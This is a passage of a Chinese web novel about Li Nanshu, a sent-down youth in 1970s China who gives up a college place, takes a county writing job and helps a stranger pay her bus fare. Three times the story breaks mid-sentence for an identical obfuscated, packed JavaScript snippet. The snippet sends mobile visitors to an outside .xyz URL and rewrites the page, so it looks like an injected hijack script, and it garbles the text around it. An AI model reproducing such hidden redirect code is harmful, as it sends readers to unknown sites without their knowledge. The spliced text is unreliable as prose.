杨书记点头道:“自然,优先看你们大队有没有符合情况的知青,如果没有,再在别的大队看看。我得提前说,有两点要求,第一参加了这次招生考试,第二政审不会有大问题。” 李南书忙道:“有符合条件的的,我下午就让她们过来。”她现在无比庆幸,当时拖着兰姐和琼玉去参加了学区考试。 等从杨书记办公室出来,李南书和卢东樾道谢,“卢同志,刚才谢谢你为我说话。” “不客气,应该做的。” 李南书试探着问道:“你刚才说我‘原来的名额’,是申城的学校?” 卢东樾点头,“申城财政经济学院经济系。” 李南书有些困惑,“怎么会给我申城的名额?”申城的学校即便是专科,可因地理位置,依然很抢手。 卢东樾道:“可能是你对这块比较有想法,公社给你争取了一下。” 李南书还想再问,卢东樾岔开话题道:“下午还要出简报,不然你先写,我帮你跑腿去通知你们大队的知青过来。” 李南书原本是准备让骆一勤带话的,但等骆一勤处理完助征员的事,怕是还得等一会。 报名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117857|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事宜早不宜迟。 “那就麻烦卢同志了,请你把名额和附加要求,转告给徐永兰和贺琼玉两位知青。” 卢东樾临走前问了她一句:“李同志,这是大学的名额,你确实不后悔吗?” 李南书摇头,“不会,是,我可以凭借这个卫校的名额,离开北山大队,摆脱目前的困境,但是一个谎言需要无数个谎言来掩盖,我不愿意让我的青春在这种无谓的痛苦和荒诞中度过,我愿意再等一年。” 卢东樾笑了一下,没有再说,“我骑车去,一会就能赶回来。” 不到半个小时,卢东樾带着徐永兰过来了,徐永兰看到李南书,就道:“琼玉说她不符合条件,让给了我。” 李南书没有多说,把人带到了杨书记办公室填了表。再出来的时候,徐永兰抱着李南书就哭了起来。 李南书安慰她道:“兰姐,这是高兴的事,不哭哈。” 徐永兰努力擦着眼泪,却怎么也擦不干,一边流泪一边道:“南书,谢谢你,我一辈子都会记得你这份情。” “没事,兰姐,我去不了,这个名额不能浪费了,真的,我没做什么。” 徐永兰摇摇头,“不,南书,不是你,我不可能能拿到这个名额。”回去的路上,徐永兰哭哭笑笑的,她知道她的人生将要自此改变了。 明明昨天她还在羡慕骆一勤,今天好运就砸到了她头上。 李南书这边,下午出完简报,卢东樾忽然开口道:“李同志,如果可以,我希望你以后能去申城读书。” 李南书愣了一下,“嗯?为什么?” 卢东樾磕绊着道:“申城是……是个好地方,我想你可能会喜欢。”不过是两句话,他说完,倒微微红了脸。 李南书忙着收拾东西,并没注意到,随口问道:“卢同志,你是从申城来插队的吗?” 卢东樾摇头,“不是,我姥姥姥爷在申城,我是从江省过来的,我舅舅过世了,我想去申城那边,陪陪老人家。” 李南书笑道:“你运气不错,抢到了申城工学院的名额,希望我明年也能有你这个运气。” 卢东樾诚恳地道:“期待明年这时候能收到你的喜讯,如果后面有什么需要我帮忙的,也尽管给我来信。” “谢谢卢同志。” 这天傍晚,两个人在公社门口告别,等南书走远了,卢东樾望着她的背影,忽然有什么涌进了他的脑海里,骑着自行车追了过去,等追到了人,微微喘着气道:“李同志,我送你好不好?” 李南书有些不明所以,“啊?会不会太麻烦?” 卢东樾摇头,“不麻烦,可以吗?” 他的眼睛很诚恳,李南书低了头,这么一瞬间,她大抵明白,所谓的“原来的名额”是怎么来的,她刚要开口拒绝,就听卢东樾道:“李南书,我觉得你是一个很好的同志,我马上要去上大学,以后很难再有机会见面,我希望能送你一趟,可以吗?” 说到最后,带了点恳求。 李南书心里一软,“好,那就麻烦卢同志了。” 晚风徐徐,带着青草的气息,坐在后排的李南书有一瞬间的恍神,有世间安好的感觉,她放任自己在这空茫的思绪里浮沉了一会,一直到她们村口。 卢东樾很认真地和她握手道:“李同志,我非常懊悔,没有早些时候和你打招呼,如果我们早认识一点,我想,我会比今天更勇敢一点。” 李南书莞尔,“不,你今天也很勇敢。”她确实有被他的勇敢和真诚打动一点。 卢东樾道:“希望我们下回见面的时候,不会再这么生疏地喊‘同志’。” “好!谢谢你!” 两人站在村口挥手,李南书想,如果真的早一点认识,有更多的时间交流,她会不会喜欢这个热忱、勇敢的青年,她不清楚。 这一瞬间,她忽而想到,原书里,苏清溪是顶替了她的名额,去申城上大学的,但全书并没出现卢东樾的名字?在那个时空里,这个青年最后怎么样了呢? 11. 第 11 章 6月10日傍晚,大家正围在院子里的石桌上吃晚饭,大队长刘山峰过来,“哎,南书呢?” “大队长,我在呢!”李南书正在盛山芋粥,忙放了碗出来,“大队长,您找我呢?” “南书,今天我去公社办事,刚好遇到了杨书记,说你被抽调到了县里帮忙,让你明天上午十点之前去一趟。” 李南书有点发懵,“大队长,杨书记有说什么事吗?” 刘山峰笑道:“好事,我听说是你这次简报写得好,县里领导下来看到了,让你去他们那帮帮忙。” 李南书松了口气,写稿子她不怕。 角落里的苏清溪也听得一清二楚,李南书没有上成工农兵大学,可是县里领导看中她写的东西,她要去县里帮忙了。转念一想,再怎么帮忙,也不过是临时工。 前头的刘山峰话说完了,却并不走,眼睛在院子里扫了一圈,“小苏不在吗?” 苏清溪忙应了声,“我在。” 刘山峰轻轻咳了声,“小苏,革委会下来一份通知,让你去白山农场进行劳动改造,你明早五点前得赶到公社门口等车,东西最好不要带太多,车上人多,可能就被挤掉了……” 刘山峰的话还没说完,苏清溪就颤着声问道:“大队长,我要去多久?” “通知上说的是两年。”刘山峰说到这里,叹了声,“小苏啊,你年纪不大,可得好好改造。哎呀,你说你当初怎么就犯这糊涂呢?” 苏清溪青白着脸,没有应声。 刘山峰摇着头走了,院子里的气氛有些凝滞。 张瑞星忽扬着声问道:“骆哥,你这月底是不是就要去粮站了?工资说了没?” “是,26块钱一个月。” 张瑞星“哟”了一声,“那以后我馋了,去粮站找你,你可得请客。” 骆一勤脸上带着一点笑意,温和地应着。气氛忽然就活络了一些,男知青们你一言我一语地聊起来。 女知青们没有搭话,但也是互相帮着夹菜、收碗筷,看起来热闹得很。 只有苏清溪,一个人站在角落里,哪里都插不进去,默默回屋去了。她知道大家都视她为洪水猛兽,好像她会张着血盆大口把他们都吞下去一样。 明明先前,韩钰、于菡萏也算是她的朋友,即便她和李南书闹得很不愉快的时候,大家也不都是站在李南书那一边的。 一封举报信,她得罪了所有人。 夜幕很快就降临,李南书洗漱好后,就坐在桌子前,借着煤油灯橘黄的光写信,大哥上次的信里,还问她工农兵大学的事,她没去成,得和大哥说一声。 她把名额的事,简单说了一遍,末了道:“大哥,你不要急着皱眉头,下乡之前,我就和你们说过,我去乡下比留在城里更有前途,你看,我现在不是帮助了我的朋友吗? 大哥,不要担心我,我已经20岁了,比刚下乡的时候,已然成长了很多,请你相信,我能照顾好自己。 祝好,勿念!” 把信写好,李南书微微叹气,她大哥自小就少年老成,有一颗七巧玲珑心,他们兄弟姐妹玩的小戏法没有一个能蒙过他的眼睛,当初那封举报信到爸爸单位的时候,她最先担心的是爸爸,然后就是大哥。 她大哥那时候是副市长的秘书,他即将要在广阔的天地里施展抱负,她可不忍心让大哥明珠蒙尘。 等把信封好,就听到苏清溪在外面喊她,徐永兰皱眉道:“别理她,马上要去劳改的人,还不知道要发什么疯?” 门外的苏清溪急道:“我是来还钱的。” 李南书出来,就见苏清溪递了一把粮票和钱票过来,然后伸手道:“李南书,这是剩下的,你把先前的借条还我。” “你等下,”李南书把钱票接过来,一张一张的数了两遍,仔细、认真的,让苏清溪都皱了眉,不高兴地道:“李南书,你也太谨慎了。” 李南书确定没有错误后,才抬头道:“你马上就走了,要是少了一张两张的,我还能追到农场去吗?”转身进屋把借条拿了出来。 薄薄的一张纸,苏清溪几乎是迫不及待地抢了过来,将它撕得粉碎,然后有些畅快地道:“李南书,我们之间,一笔勾销了。”李南书的手里,可没有她任何把柄了。 李南书提醒她道:“道歉信呢?” 苏清溪不以为意地道:“我已经写了,孔真真也签了字。”她哄着孔真真签了字,就是看在孔真真的份上,这份道歉信也不会存档,不过就是公社领导哄李南书不闹罢了。 至于脸面,她都要去劳动改造了,无所谓什么脸面不脸面的。 李南书没吱声。 苏清溪望着她,有些不确定地问道:“我听说,你把上大学的名额让给了徐永兰?” “不算让,兰姐符合卫校招生条件。” 苏清溪深呼吸了一口气,定定地看着她道:“李南书,你和这里的知青不一样,虽然你不怎么提家里,但我想,你家里条件肯定不差,家人应该很爱你,你不怕饿肚子,不怕受欺负,也不害怕待在这小山村是三年、五年,还是十年。” 苏清溪见她不否认,接着道:“我不一样,我上面有一个继姐,下面还有母亲再婚后的弟弟妹妹,我从小就知道,如果我不努力争取,那个家就不会有我的位置,我得为自己谋出路。”她说到这里,原先还有些伤感的眼睛,又透出几分冷意来。 李南书皱眉道:“我们每个人都在为自己谋出路,如果都像你一样,你晚上还敢闭眼睡觉吗?” 苏清溪嗤笑了一声,“别把我和那群蠢猪比,他们知道什么,只会浑浑噩噩地过日子。” 李南书真的有些好奇,“苏清溪,折腾了这么多,最后是这个结果,你不后悔吗?” “不会”苏清溪回答的很干脆,望着她道:“李南书,你去年没走成,今年又没走成,难不成还相信明年能走得掉吗?如果我要留在这里发霉发烂,你不也是吗?”这一局,就算她输了,那也把李南书拽下来,和她一起沉沦了。 很值! 外头月明星疏,借着屋里的灯光,依稀能看见苏清溪眼里的幸灾乐祸,李南书觉得有点好笑,冷淡地道:“那怕是不能如你所愿了。” 说完就没再睬她,回屋睡觉去了。 身后还传来苏清溪的讥讽,“那是,我可比不上你的境界,李南书,这个院子里不知道有多少人说你傻,说你蠢?大家不理我,是因为我举报了你吗?不是,他们只是单纯害怕‘举报’这两个字而已,只有你,和一群蠢猪掏心掏肺。” 她喊得歇斯底里的,回应她的是“哐”的一下关门声。 于菡萏皱着眉道:“这人明天都要去劳动改造了,还在这挑拨离间的。” 韩钰道:“当大家都和她一样,狼心狗肺。” 徐玉兰却有点不安,走到李南书床边道:“南书,她说的也不算错,你把名额让给了我,万一你明年走不掉怎么办?” 李南书握着她手道:“兰姐,你不要有这种思想负担,不是我让你的,我本身不符合卫校的招生条件,你恰好符合,你性格温和、耐心,以后肯定是一个好医护。”抛开晕针不说,她也不想当护士,她才20岁,就算是挨到77年高考,年龄也不大。 徐玉兰抱着她,“南书,我一定是上辈子积了好大的福气。” 李南书拍拍她肩膀,“肯定是的,兰姐。” 一夜无话,凌晨公鸡打鸣,把李南书叫醒了,窗外的月光漏了一点到屋里来,地面上有一块亮堂堂的,她估摸着可能四点了。不一会儿,就听到隔壁屋子开门的声音,应该是苏清溪出门了。 李南书想,她俩都没去上大学,那原书里的剧情,是不是就此中止了?她不会死,她的哥姐也不会反目成仇,大家都好好地过日子。 她忽然觉得很安心,昏昏沉沉地又睡着了,梦见自己回家去了,妈妈每天换着花样给她做吃的,松鼠桂鱼、红烧蹄髈、小鸡炖蘑菇、千张结烧肉,哥哥姐姐都围在桌前,笑她是个馋猫…… ** 北省江城。 舒向芫一到家,就拆开了女儿寄来的信,看到一半的时候,忽然站了起来,招呼在择菜的二女儿道:“南熹,你妹说想回家来看看。” 李南熹接过来一看,只见上面写着:“妈,我上次回家都是1970年的春节了,最近梅雨季节,地里不忙,我想中下旬的时候回来看看……” 李南熹心里慌了一瞬,很快镇定了下来,“妈,我明天给她拍个电报,说你和爸爸最近都出差了,我和哥姐都忙,让她年底再回来。” 舒向芫道:“行,你明早给她拍电报去。”又叹道:“以前都不着家的人,还是我们去看了她几回,现在怎么惦记着回来呢?” “妈,她大概就是一时兴起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117858|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们拍个电报去,她肯定就打消念头了。” 舒向芫点点头,额头的皱纹却是一点都没舒展,摩挲着手里的信纸,这孩子下乡的时候,还不满16岁,一去就是好几年,她每每夜里想起来,都要流眼泪。 想到这里,哑着声音问二女儿道:“南熹,这丫头忽然要回家,会不会是在那边受了委屈?” 李南熹也愣住了,“妈,不然我月底去一趟那边?” “会不会耽误你工作?” “不会,妈,我和你说实话吧,我和宋霖彻底闹掰了,他那边还不死心,跑到厂门口来堵我,我刚好出去躲几天,就是最近单位忙,我月底过去。” 舒向芫应道:“那行,南熹,宋霖那边,不然让你大哥去警告一下?你大哥毕竟还是市长秘书,宋家那边多少要顾忌一点。” 李南熹忙不迭地摆手,“不用,妈,大哥那么忙,我不想拿这些事来烦他。妹妹在乡下,那么苦那么累,不都一个人扛下来了,我这就是谈个对象,我自己能处理得好。”家里,南书最喜欢大哥,她却最怕大哥,每次对上大哥的眼神,好像都在说:你看你,多么懦弱,多么无用? “行,南熹,那你要是应付不过来,就和妈说。” 李南熹忽然想起来,问道:“妈,爸爸已经下放了,南书是不是可以回来了?要不让大哥想想法子,把她调回来吧?她总不能在乡下待一辈子?” 舒向芫有些意动,但还是摇头道:“你妹什么性格,你不知道吗?她都不愿意沾你爸爸的光,还愿意让你大哥帮她吗?” 李南熹道:“妈,南书是怕给爸爸带来麻烦。” 舒向芫叹了一声,“她把你们看得比自己重,她不会回来的,她不愿意让你大哥的仕途上留下污点。” 两个人正聊着,院子里忽然传来吵闹声,舒向芫皱了皱眉,“南熹,怎么像是在喊你啊?” 李南熹忙跑出门,看到院子里的人,脑子立时“轰”了一下。 宋霖看到她出来,眼睛一亮,“南熹,我……我今天在你单位门口没等到你,就问了下你同事,她们说你住在这边,南熹,你知道的,我心里真的有你,我一定会说服我妈妈……” “请你现在,立刻,马上,立刻这里,宋霖,请你立刻走!”李南熹指着院门道,她的声音都在发抖。 眼看着围观的人越来越多,李南熹的脸都急得发白,她刚和妈妈说,她能处理好。 舒向芫听到动静,走了出来,把二女儿拉在身后,“小宋,有什么话,你和我说。” 宋霖干巴巴地喊了声:“舒阿姨好!” 舒向芫缓声问道:“小宋,你来这里,你爸妈知道吗?你和南熹的事,我都知道了,你是家里独子,你爸妈把你看得重,你们家这么做,我们也能理解,你不应该再来为难南熹。” “舒阿姨,我……” 舒向芫摆摆手,压根不给他开口的机会,“小宋,南熹爸爸不在江城里,但是我们东淮、东和,还有南枝都在江城呢,你要是再这么逮着南熹欺负,可别怪阿姨翻脸不认人。” 宋霖急道:“舒阿姨,我真不是这个意思……”对上舒向芫冷淡的眼睛,宋霖咬了咬牙,“行,我这就走。” 又和李南熹道:“南熹,今天是我莽撞了,我回去和我爸妈再沟通沟通,我过几天再来找你。” 等人走了,李南熹回屋就哭了起来。 舒向芫拍拍她的肩膀,“你这丫头,就是眼泪多,不伤心,不伤心,妈妈在呢!” 李南熹吸了吸鼻子,“嗯,妈,我不哭,多大的事啊?” 舒向芫又问道:“南熹,那小宋那边,你准备怎么办?” 李南熹擦干了眼泪,正色道:“妈,绝不可能,我爸一出事,他家就落井下石,我和他绝不可能。” “行,我心里有数了。” 这一晚,李南熹默默流了好一会眼泪,她和宋霖是高中同学,高中毕业不久,就谈了对象,有五年了,她一直觉得他们的爱情已达到了很深的程度,不成想,她爸一出事,他妈妈就换了副嘴脸。 她不觉又想到了妹妹,南书要是在,肯定说:“二姐,多大的事啊?我们吃一顿好吃的吧,什么烦恼都忘了。” 李南熹忽然不哭了,她想起来,她月底要去看南书,最近得多攒点好吃的,那个馋丫头,这次想回家,说不准就是馋狠了,想回来改善伙食。 12. 第 12 章 李南熹第二天就去拍了一份电报,“母出差,兄忙,可年底归。”等把电报发出去,想起来忘记告诉妹妹,她月底要过去的事。 又想,时间还来得及,回头信里再说。 李南熹到钢铁厂门口,就被同事张华莉拉住,悄声问道:“南熹,昨天宋霖没找你麻烦吧?他昨儿问我你的住址,我没过脑子,就说了出来,回头想起来,怕是给你惹麻烦了,心里后悔的不行。” 李南熹摇摇头,“没事,华莉,昨天我妈说几句,他就走了,应该不会再来了。”短时间内是不会再来了。 张华莉笑道:“那可太好了,这些天我看你烦心的,我都替你着急,那宋家见风使舵的,就不是什么好人家,南熹,你幸好还没嫁进去,不然就落入火坑了。” 说着,又看了看李南熹的脸色,轻声道:“我听说,你这个妈妈是继母?那对你还挺好的。” “继母”两个字一出来,李南熹就变了脸色,望着张华莉的眼神冷了许多,“继母的话,是谁说的?” 张华莉支吾了一下,“我……我也忘记了,南熹,我就是关心你,多嘴说了一句,你别往心里去。” 李南熹淡淡地应了两句,就去了财务科。 张华莉望着她的背影,看了好一会儿,什么样的人家,会养出这么单纯的女儿来?那个婆母不好,宋霖却是实打实心里有她的。 李南熹却弃如敝履一般,不再回头。 ** 此时渔县石狮公社里,李南书刚听到一个好消息,有些不确定地问道:“杨书记,去县里写稿子还有工资?” 她眼睛瞪得大大的,一副不敢相信的样子。一个月35块钱,要是写两个月能有70 ,她一个月省20块钱出来,回家的路费就有了。 杨书记也不由笑了起来,“这回是市里组织采访各县劳模,将他们的事迹写出来,整理成册。县里比较重视,特地拨了一项专款,前些天下县长他们来,刚好看到你们出的简报,觉得还不错。” 李南书问道:“那卢同志这次去吗?” 杨书记摇头,“他不去,他还有工作要交接。南书,工资是一回事,要是得了奖,还有另外的奖励。你要是愿意,明天就去县里报道?” 李南书自是愿意的,工资可不低,再者,县里的平台比公社大些,出去闯一闯总是好的。 杨书记给她写了一封介绍信,“你拿着这信,去找县里的副县长陈涛。” 李南书看着手里的介绍信,庆幸上次工农兵大学的事,没和杨书记闹僵,不然这个机会不一定会落到她头上来。 虽然说她会写稿子,但是他们知青里卧虎藏龙的人不少,光石狮公社就有几百个知青。 从杨书记办公室出来,路过武装部的办公室,李南书想了想,准备去和卢东樾说下这个好消息,“请问卢主任在吗?” 一个中年男同志从座位上探出头来,“卢主任有事去县里了,不在这边,同志,你怎么称呼,回头我和卢主任说一声。” “不用,不用,我就是路过,打扰了。”李南书连忙走了。 又去供销社买了一斤鸡蛋糕,并一斤水果糖,先送了一份到郭婶子家,又送了一份到李婶子家,小牛和小花刚割了草回来喂兔子,看到她来,都很高兴。 等孩子去吃糖果了,李南书才拿了八斤肉票、三尺三的布票、三十斤粮票和五十块钱,一并塞给了李婶子,李婶子推着不要,说前头已经收了一次。 李南书坚持道:“婶子,你不要推辞,这都是苏清溪还我的,是小牛应得的,孩子还小着,你手里攒点钱,遇到事也不慌。” 李婶子这才接下,一个劲儿地感谢,“南书,你真是个好姑娘,以后小牛他们长大了,一定得记着你的情分。” “婶子,不用,小牛也帮了我很多。”说着,弯腰抱了一下不知什么时候又挤到门口来的小花和小牛,“哎呦,小牛比姐姐还重。” 小牛的小黑脸很快红了起来,李南书忍不住笑道:“看着不大,抱起来墩墩的,长得真好。” 李婶子笑道:“是,这孩子什么都吃。” 李南书捏了下小牛的脸,她想,这孩子能梦到她落湖,或许在原书的世界里,他们是有几分牵扯的,这一世,她好好地活着,这小娃儿也要好好地长大。 等李南书一走,李家婆媳俩数了一遍手里的钱票,老太太先落了泪,“这姑娘实在太善心了,就是补房租的空落,也能补好几年的了。” 李婶子也喃喃道:“真是个菩萨一样的好姑娘。”当着婆婆的面,她没有说,她那死鬼丈夫,暗地里捣鼓着卖锅刷挣钱,只想着自己吃饼干、鸡蛋糕,一点儿饼干屑也不舍得漏给孩子们吃,这不,噎死了。 南书和她们非亲非故的,却这样帮她们,这么好的人,合该有大福气的。 晚上,李婶子让孩子给李南书送了两个熟鸡蛋来,李南书剥了一个,一分为二,塞到了俩娃的嘴里,然后道:“我吃一个就够了,等姐姐从县里回来,再给你们带好吃的。” 她要收拾行李,托张瑞星把俩孩子送回去了。 贺琼玉在一旁给她帮忙收东西,有些不解地问道:“你对李婶子家的孩子,好像格外的好?” 李南书头也没抬地道:“她家孩子心地好,帮了我好几次,”顿了一下又道:“也可能比较合眼缘。” 贺琼玉“哦”了一声,尾调拖得长长的。 李南书听出不对来,“怎么了,琼玉?” 贺琼玉朝她眨了眨眼,有几分促狭地道:“我当你是为着李婶子家的那个表外甥呢!” “卢东樾?” 见南书反应过来,贺琼玉接着道:“那天他送你回来,我们好几个都看到了,怕你尴尬,都躲在一旁,没吱声。”那天回来,她们几个女同志可是盯着南书瞧了好一会儿。 李南书摇头道:“不是,和他没关系,他马上要去申城上大学了。”这是她和小牛的缘分。 贺琼玉试探着道:“那回他替你来传话,我就看出来一点,南书,这人还挺好的,又是准大学生,你不考虑考虑?” 李南书摇头,“琼玉,你越说越离谱了,我还没想过这些事儿,我现在满心里都是要奔个好前程。” 为着她下乡插队的事,一家人都觉得对不住她,她要是奔个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117859|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前程出来,大家心里的疙瘩,就能消下去了。 贺琼玉点点头,“也是,你年纪还小呢,上头除了爸妈,还有好几个哥姐,他们都要给你掌掌眼的吧?” 李南书笑笑,正待要说话,手里装信的铁盒子忽然掉在了地上,贺琼玉忙帮她捡,待捡到两张照片的时候,问道:“南书,这是你下乡前拍的吧?脸上还有婴儿肥呢!” 南书接过来一看,一张是全家福,爸妈坐中间,他们五个围在两边和后面,这是她下乡前,一家人去照相馆拍的。 另一张是她和同学合影,俩人站在一棵合欢树下,脸上都带着笑意。 “南书,这个男同学是谁?长得还挺好看,剑眉星目,瘦瘦高高的,你看这衣服穿在他身上,虽然大了一点,也好看得很。” 李南书看了一眼照片,笑道:“是,不仅长得好,脑子还好使。”个子高,身形又挺拔,穿什么都像模像样的,但他向来不在意这些,他喜欢篆刻、木工,最爱的还是物理,当年大家都说,他以后一定会在这个领域大放异彩。 他是个天才。 “南书,他叫什么名字?” “陈树深,我们是同学,这张照片是毕业的时候照的,我还说等拿到了照片请他吃饭,后来我就下乡来了,照片还是同学转寄过来的。” 她说的大大方方的,一点没有忸怩,贺琼玉的话就吞到肚里去了,全家福大家都有,但是一张同学合照,这样珍之又珍地和全家福放在一起? 一放还是四五年。 这事怎么看,都像是有些说法的。 这时候,徐永兰来喊她俩去吃饭,贺琼玉也就没再提这茬。 晚上,李南书躺在床上,想起插队之前的一些事来,碾转反侧好一会儿,想到明天还得去县城报道,强迫自己脑袋放空,才慢慢睡着。 第二天早上,贺琼玉一直把她送到公社,看着她上了车,又不放心地叮嘱了几句,“南书,要是有什么事,就托人带话回来,大家一起给你想办法。” 李南书笑呵呵地应下,“好,你放心!” 她朝车外的琼玉挥手,恍然间,脑海里想到当年她离开江城的情景来,她也是在火车上朝同学们挥手,大家你一言我一语地说,有事要常寄信回来,大家一起给她想办法。 她一边应着,一边在人群里找人,她的人缘很好,除了已经插队的同学,几乎都来了,可是人群里没有陈树深。 也许是1969年,也许是1970年,她寄了一个信封给陈树深,依旧音信杳无。 那时候他们太小了,又没有遇到过什么挫折,如果是20岁的李南书,或者是30岁的李南书,可能会采取不一样的方法。 但是那年,她还不到16岁,懵懵懂懂的年纪,以为分别不会很久,以为重逢定然有时。 大巴车“哐哒哐哒”地开走了,太阳慢慢爬出了云层,洒下无数耀眼的光芒来,李南书伸手遮了眼睛,那个少年的绮梦渐渐熄灭。 她望着窗外,路边的樟树轻缓缓地摇着叶子,波光粼粼的阳江水面上,飞着几只小鸟,这辆车载着她向不远的前方,她开始期待在县城的新工作。 13. 第 13 章 车出了公社,李南书盘算起来,二姐的婚礼就在十月,这次回去得送她一份贺礼。 这几年,二姐常给她汇钱,工作几年了,一块手表都没舍得买。这次,她预计在县城里工作两个月,抛开花销,一个月存20,再加上苏清溪赔的50,二姐上个月寄给她的20,到了8月底,她就能有110块余钱。 回家的火车票8.2元,来回就是16.4元,还剩83.6块钱,梅花牌的手表是86块钱,她这两月再节省一点,就可以买一支手表送给二姐当贺礼。 还要再凑6块钱,给大姐家的昕昕买一条裙子,她正算着,就听见前头有争吵声。 抬头一看,见一个穿着蓝褂子、黑裤子、黑布鞋,有些瘦削的姑娘,泪眼汪汪地道:“同志,我真是钱掉了,不是骗你的,我出门的时候,我爸给了我八块钱,我有急事要去县医院,我回来再补上可不可以?” 售票员把她上下打量了一下,冷笑道:“同志,要是每个人都像你一样,我们怕是连口水都喝不上,我也不想说难听话,你自己下去!” 那姑娘年纪不大,看着19、20的样子,闻言脸上又红又白的,还是忍着羞耻,再次开口道:“同志,我大姑在医院里,吊着一口气,家里接了信,让我去见她最后一面,我走了一个多小时才到公社……” 售货员打断了她的话,“别说这些没用的,车票4毛钱,”说着,朝她伸出了手。 她的手很好看,像葱段一样,白白嫩嫩的。 可是现在,没钱乘车的小姑娘望着这满是逼迫意味的手,眼泪“啪”地掉了下来,“大姐,你行行好,我回头一定补给你,我姑父在县里工作,我和他要钱给你补上。” 售货员冷哼了声,不耐烦地道:“你这样的,我见得多了,快走,别耽误了车上的人。” 车上也有人帮腔道:“哎呀,坐车肯定要给钱的,小姑娘,你没钱就下去吧,二三十里路,走几个小时也就到了,没得占这个便宜。” “就是,我还赶着去商场买衬衫呢,去迟了,抢不到怎么办?” “这姑娘真是的,舍不得钱,又不想出脚力,天下哪有这么便宜的事?” 大家你一言我一语的,都在劝着姑娘下车,那姑娘却倔得很,即便又羞又气,却怎么也不挪步子。 一个人站在车厢门口,缩着肩膀,有些绝望地哭道:“我真得赶着去见大姑一面,去迟了,就见不到了。”她似乎急得有些语无伦次,“为什么钱丢了,为什么单单就我的钱丢了,大姑,大姑……” 前头售货员已经冷了脸,“哎,你这姑娘,要嚎回家嚎去,在我们车上嚎什么啊?”起身动手把人往车下推,斥骂道:“你一个小姑娘,脸皮怎么这么厚?不花钱就想坐车?真是美得你……” 李南书看不过眼,站了起来,伸手拦住售票员,“大姐,我替她付吧。”说着,递了一块钱过去。 售货员瞟了一眼李南书,立即把钱接了过来,麻溜地找了她6毛钱,缓了脸色道:“同志,我也不是故意为难人,这车票钱,她要不出,回头就得从我工资里扣,我跟车一天,磨破了嘴皮子,也没个一两块钱。” 李南书点头,“是,大家都不容易。” 姑娘咬着下唇,没吱声。 李南书拉着她到旁边坐下,姑娘擦了眼泪,抽噎着道:“我真的带了钱,我妈给我缝了一个小布包,我就放在口袋里,可是丢了,我去见大姑的,竟然把车钱丢了,要是赶不上见大姑……” 她越说越委屈,眼泪像断了线的珠子一样。 李南书拍了拍她的后背,“没事,没事,大家都有不小心的时候。”又把剩下的6毛钱递给她,“这个你拿着,回头坐车用。” 姑娘忙推辞,“不用,不用,我姑父会给我的,每回我去,他都给我钱。” 等车开起来,姑娘的情绪也稳定下来了,说她是盛湖大队的,叫姚安安,问李南书叫什么。 “北山大队的知青,李南书。” 姚安安念了几遍她的名字,像是要记住一样,等到快下车的时候,握着李南书的手道:“南书姐姐,真的很感谢你,你不知道,这趟车对我有多么重要,”说到这里,眼泪又掉了下来,“南书姐姐,我一定会还你钱的。” 李南书帮她擦了一下眼泪,“没事,安安,你不用放在心上。也有人这样帮助过我。” 姚安安却坚持道:“我爸说,做人要讲良心,你好心帮我,我不能坑你的钱。” 李南书笑笑,“安安,那祝你好运,也希望你家人的身体早点好起来。” 姚安安的眼睛暗了一下,勉强笑着和李南书挥了挥手。 李南书看她走了,才转身。上一世,她十五岁的时候,想过从养父家里逃走,出去打工,但是没有路费,她的小伙伴,那年也不过十三岁,和家里要了两百块钱塞给她。 她想,上一辈子她没有走弯路,大概就是有很多这样的人,给予了她温暖。 真好,今天她也帮一个女孩子付了车费。 她抬头望着日头,大概十一点左右了,心里又担心起来,不知道陈县长下班没有? ** 等她到了县政府,却意外地从门卫口里得知陈副县长没来上班,李南书人都懵了,“师傅,什么叫没来上班啊?”这一瞬间,她脑海里划过好几种可能,被带走了?出事了? 门卫师傅笑道:“你昨儿上午来,还能找到人,他家里出了急事,请了几天的假。” 李南书顿时急了,“那可怎么办?我们公社书记让我今天来报道的。”副县长可以请假,采访的事不会耽搁啊,要是不能准时报道…… 门卫看她大包小包的,又说是来采访的,想了一下,道:“姑娘,你等着,我去帮你看看方秘书还在不在。” “师傅,麻烦您了!” 门卫师傅摆了摆手,“不算什么事。” 李南书站在门口,心里有点着急,这个工作要是没了,她可没法凑钱给二姐买手表了。要是一份像样的贺礼都拿不出手,哥姐几个肯定又觉得她在乡下过得差。 在李南书的翘首以盼中,门卫带着一个男同志过来,远远地和她招呼道:“哎,姑娘,这是陈县长的秘书。” “你好,我叫方建宏,是陈涛副县长的秘书,”对方年龄不大,大概二十五六岁的样子,很热情地作了自我介绍。 问了李南书的情况,又看了她的介绍信,笑道:“这事我知道,陈县长和我打过招呼,李南书同志是吧?我先带你去宿舍住下。” 李南书松了口气。 